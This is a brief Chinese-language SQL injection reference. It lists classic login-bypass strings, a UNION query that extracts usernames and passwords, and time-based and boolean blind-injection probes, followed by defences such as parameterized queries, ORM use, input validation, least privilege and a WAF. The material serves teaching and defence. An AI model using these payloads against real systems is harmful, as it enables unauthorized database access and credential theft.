SQL 注入参考

常见攻击模式

-- 经典绕过
' OR '1'='1
admin'--
' OR 1=1--

-- 联合查询
' UNION SELECT username,password FROM users--

-- 盲注
' AND SLEEP(5)--
' AND 1=(SELECT CASE WHEN (1=1) THEN 1 ELSE 0 END)--

防护方法

参数化查询db.Query("SELECT * FROM users WHERE id=?", id)
ORM UsageUser.objects.filter(id=user_id)
输入验证查询前验证类型、长度、格式
最小权限数据库用户应具有最小权限
WAFWeb 应用防火墙过滤恶意查询